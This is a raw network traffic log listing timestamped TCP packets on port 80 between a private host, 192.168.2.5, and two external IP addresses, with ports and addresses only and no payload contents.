Dec 16, 2024 09:01:23.504920006 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504937887 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504971981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504971027 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504998922 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.505016088 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.505585909 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.505634069 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.505644083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.505651951 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.505682945 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.505712032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.505719900 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.505769014 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.506402969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.506421089 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.506477118 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.506525040 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.506542921 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.506608963 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.506608963 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.507219076 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.507275105 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.507292986 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.507311106 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.507333994 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.507355928 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.507381916 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.507455111 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508033991 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508091927 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508096933 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508114100 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508141041 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508158922 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508167028 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508207083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508882999 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508944988 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.508944988 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.508964062 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.509000063 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.509005070 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509023905 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509033918 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509681940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.509723902 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.509737968 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509740114 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.509763002 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509779930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.509799957 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.510508060 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.510536909 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.510554075 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.510565042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.510601044 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.510668993 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.510715008 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514405012 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514421940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514437914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514451981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514468908 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514478922 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514483929 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514499903 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514506102 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514516115 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514516115 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514548063 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514573097 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514576912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514591932 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514607906 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514624119 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514630079 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514647961 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514684916 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514730930 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514777899 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.514930964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514946938 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514964104 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.514993906 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.515017986 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.515568018 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.515623093 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.515723944 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.515742064 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.515774012 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.515795946 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.515878916 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.515932083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.516400099 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.516581059 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.516597033 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.516640902 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.516742945 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.516796112 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.517333984 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.517349005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.517366886 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.517394066 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.517419100 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.517498016 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.517823935 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518119097 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.518170118 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518248081 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.518275023 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.518291950 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.518292904 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518316984 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518328905 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518842936 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.518894911 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.518987894 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519002914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519020081 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519033909 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.519047022 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.519069910 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.519598007 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519644022 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.519781113 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519798040 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519857883 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.519937038 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.519989967 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.520566940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.520582914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.520598888 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.520615101 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.520627022 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.520647049 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.520725965 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.520775080 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.521467924 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.521483898 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.521502018 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.521528006 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.521555901 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.521625042 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.521667004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.522272110 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.522288084 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.522304058 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.522321939 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.522335052 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.522420883 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.522471905 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.522912979 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.522994041 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.523046970 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.523065090 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.523097992 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.523112059 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.523238897 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.523304939 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.523725986 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.523781061 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.545919895 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546097994 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546113014 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546113968 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.546174049 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.546262026 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546279907 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546319962 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.546348095 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.546420097 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.546480894 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.547051907 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.547069073 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.547107935 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.547138929 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.695228100 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695302963 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695334911 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695353985 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695400000 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.695436001 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.695581913 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695614100 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695631027 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695637941 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.695677042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.695713043 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.695760965 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.696372032 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.696418047 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.696434975 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.696443081 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.696471930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.696471930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.696500063 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.696547031 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.697170019 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.697242975 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.697244883 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.697289944 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:25.891393900 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:25.891705036 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:26.011434078 CET	80	49843	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:26.011471987 CET	80	49860	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:26.011498928 CET	49843	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:26.011549950 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:26.020457983 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:26.140191078 CET	80	49860	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:27.346520901 CET	80	49860	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:27.346627951 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:27.368077040 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:27.368493080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:27.488316059 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:27.488332987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:27.488399029 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:27.488435984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:27.490009069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:27.609642982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815429926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815448999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815485001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815496922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815515041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815526962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815547943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815592051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815592051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815592051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815592051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815634966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815642118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815680981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815685987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.815692902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.815733910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.935539007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.935580015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.935620070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.935669899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.939554930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.939635992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.939651966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.939697981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:28.947962046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:28.948016882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.007699013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.007776022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.007776976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.007827044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.011785030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.011856079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.011907101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.011960030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.020258904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.020330906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.020354986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.020371914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.028604031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.028681993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.028723001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.028768063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.037014961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.037069082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.037070990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.037112951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.045368910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.045459986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.045490026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.045535088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.053783894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.053843975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.053883076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.053930998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.062201977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.062254906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.062269926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.062302113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.070664883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.070720911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.070736885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.070765018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.078263998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.078325987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.078341961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.078392029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.085479975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.085587025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.085611105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.085644960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.092794895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.092833996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.092895985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.199800014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.199831963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.199927092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.201960087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.202014923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.202055931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.202104092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.206402063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.206557035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.206614971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.210841894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.210966110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.211029053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.215281963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.215408087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.215464115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.219682932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.219801903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.219858885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.224092007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.224246979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.224302053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.228398085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.228503942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.228574991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.232498884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.232604027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.232656002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.236814976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.236932993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.236987114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.240935087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.241060019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.241107941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.245146990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.245228052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.245301008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.249356985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.249464035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.249515057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.253621101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.253803968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.253849983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.257827044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.257921934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.257966042 CET	49866	80	192.168.2.5	31.41.244.11
